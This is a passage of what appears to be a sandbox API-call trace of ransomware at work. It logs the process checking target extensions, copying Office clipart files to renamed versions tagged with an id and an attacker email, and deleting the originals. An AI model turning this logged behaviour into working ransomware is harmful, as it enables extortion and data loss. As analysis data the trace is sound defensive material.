(lpString=".zip") returned 4 [0186.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.753] lstrlenW (lpString=".rar") returned 4 [0186.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.753] lstrlenW (lpString=".bz2") returned 4 [0186.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.754] lstrlenW (lpString=".7z") returned 3 [0186.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0186.754] lstrlenW (lpString=".dbf") returned 4 [0186.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0186.754] lstrlenW (lpString=".1cd") returned 4 [0186.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0186.754] lstrlenW (lpString=".jpg") returned 4 [0186.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.755] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=20906) returned 1 [0186.755] CloseHandle (hObject=0x444) returned 1 [0186.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf")) returned 0x220 [0186.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0186.757] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.757] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0186.758] GetLastError () returned 0x0 [0186.758] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x51aa, lpOverlapped=0x0) returned 1 [0186.760] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0186.762] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.762] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.762] SetEndOfFile (hFile=0x2a8) returned 1 [0186.762] CloseHandle (hObject=0x2a8) returned 1 [0186.762] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.762] SetEndOfFile (hFile=0x444) returned 1 [0186.770] CloseHandle (hObject=0x444) returned 1 [0186.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf")) returned 1 [0186.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0186.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0186.772] lstrlenW (lpString=".doc") returned 4 [0186.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.772] lstrlenW (lpString=".docx") returned 5 [0186.772] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0186.772] lstrlenW (lpString=".pdf") returned 4 [0186.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.773] lstrlenW (lpString=".xls") returned 4 [0186.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.773] lstrlenW (lpString=".xlsx") returned 5 [0186.773] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0186.773] lstrlenW (lpString=".ppt") returned 4 [0186.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0186.773] lstrlenW (lpString=".zip") returned 4 [0186.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.773] lstrlenW (lpString=".rar") returned 4 [0186.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.773] lstrlenW (lpString=".bz2") returned 4 [0186.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.773] lstrlenW (lpString=".7z") returned 3 [0186.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0186.773] lstrlenW (lpString=".dbf") returned 4 [0186.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0186.773] lstrlenW (lpString=".1cd") returned 4 [0186.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0186.773] lstrlenW (lpString=".jpg") returned 4 [0186.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.775] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=14472) returned 1 [0186.775] CloseHandle (hObject=0x444) returned 1 [0186.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf")) returned 0x220 [0186.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0186.776] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.777] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0186.778] GetLastError () returned 0x0 [0186.778] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3888, lpOverlapped=0x0) returned 1 [0187.061] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3890, lpOverlapped=0x0) returned 1 [0187.063] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.063] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.063] SetEndOfFile (hFile=0x2a8) returned 1 [0187.064] CloseHandle (hObject=0x2a8) returned 1 [0187.064] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.064] SetEndOfFile (hFile=0x444) returned 1 [0187.070] CloseHandle (hObject=0x444) returned 1 [0187.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf")) returned 1 [0187.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0187.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0187.087] lstrlenW (lpString=".doc") returned 4 [0187.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.088] lstrlenW (lpString=".docx") returned 5 [0187.088] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0187.088] lstrlenW (lpString=".pdf") returned 4 [0187.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.088] lstrlenW (lpString=".xls") returned 4 [0187.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.088] lstrlenW (lpString=".xlsx") returned 5 [0187.088] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0187.088] lstrlenW (lpString=".ppt") returned 4 [0187.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0187.088] lstrlenW (lpString=".zip") returned 4 [0187.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.088] lstrlenW (lpString=".rar") returned 4 [0187.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.088] lstrlenW (lpString=".bz2") returned 4 [0187.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.088] lstrlenW (lpString=".7z") returned 3 [0187.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0187.088] lstrlenW (lpString=".dbf") returned 4 [0187.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0187.088] lstrlenW (lpString=".1cd") returned 4 [0187.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68 [0187.089] lstrlenW (lpString=".jpg") returned 4 [0187.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.091] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=46461) returned 1 [0187.091] CloseHandle (hObject=0x444) returned 1 [0187.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg")) returned 0x220 [0187.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0187.093] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.093] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0187.094] GetLastError () returned 0x0 [0187.094] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xb57d, lpOverlapped=0x0) returned 1 [0187.372] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xb580, lpOverlapped=0x0) returned 1 [0187.374] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.374] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.375] SetEndOfFile (hFile=0x2a8) returned 1 [0187.375] CloseHandle (hObject=0x2a8) returned 1 [0187.375] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.375] SetEndOfFile (hFile=0x444) returned 1 [0187.381] CloseHandle (hObject=0x444) returned 1 [0187.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg")) returned 1 [0187.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0187.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0187.383] lstrlenW (lpString=".doc") returned 4 [0187.383] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.383] lstrlenW (lpString=".docx") returned 5 [0187.383] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0187.383] lstrlenW (lpString=".pdf") returned 4 [0187.383] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.383] lstrlenW (lpString=".xls") returned 4 [0187.383] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.383] lstrlenW (lpString=".xlsx") returned 5 [0187.383] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0187.383] lstrlenW (lpString=".ppt") returned 4 [0187.383] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0187.383] lstrlenW (lpString=".zip") returned 4 [0187.383] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.383] lstrlenW (lpString=".rar") returned 4 [0187.384] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.384] lstrlenW (lpString=".bz2") returned 4 [0187.384] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.384] lstrlenW (lpString=".7z") returned 3 [0187.384] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0187.384] lstrlenW (lpString=".dbf") returned 4 [0187.384] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0187.384] lstrlenW (lpString=".1cd") returned 4 [0187.384] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0187.384] lstrlenW (lpString=".jpg") returned 4 [0187.384] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.385] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=36989) returned 1 [0187.385] CloseHandle (hObject=0x444) returned 1 [0187.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg")) returned 0x220 [0187.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0187.386] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.387] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0187.388] GetLastError () returned 0x0 [0187.388] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x907d, lpOverlapped=0x0) returned 1 [0187.396] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x9080, lpOverlapped=0x0) returned 1 [0187.399] ReadFile (in: hFile=0x444, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.399] WriteFile (in: hFile=0x2a8, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.399] SetEndOfFile (hFile=0x2a8) returned 1 [0187.400] CloseHandle (hObject=0x2a8) returned 1 [0187.400] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.400] SetEndOfFile (hFile=0x444) returned 1 [0187.404] CloseHandle (hObject=0x444) returned 1 [0187.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg")) returned 1 [0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0187.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0187.407] lstrlenW (lpString=".doc") returned 4 [0187.407] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.407] lstrlenW (lpString=".docx") returned 5 [0187.407] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0187.407] lstrlenW (lpString=".pdf") returned 4 [0187.407] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.407] lstrlenW (lpString=".xls") returned 4 [0187.407] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.408] lstrlenW (lpString=".xlsx") returned 5 [0187.408] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0187.408] lstrlenW (lpString=".ppt") returned 4 [0187.408] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0187.408] lstrlenW (lpString=".zip") returned 4 [0187.408] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.408] lstrlenW (lpString=".rar") returned 4 [0187.408] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.408] lstrlenW (lpString=".bz2") returned 4 [0187.408] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.408] lstrlenW (lpString=".7z") returned 3 [0187.408] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0187.408] lstrlenW (lpString=".dbf") returned 4 [0187.408] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0187.408] lstrlenW (lpString=".1cd") returned 4 [0187.408] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0187.408] lstrlenW (lpString=".jpg") returned 4 [0187.408] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.410] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=29204) returned 1 [0187.410] CloseHandle (hObject=0x444) returned 1 [0187.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg")) returned 0x220 [0187.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0187.776] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.776] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 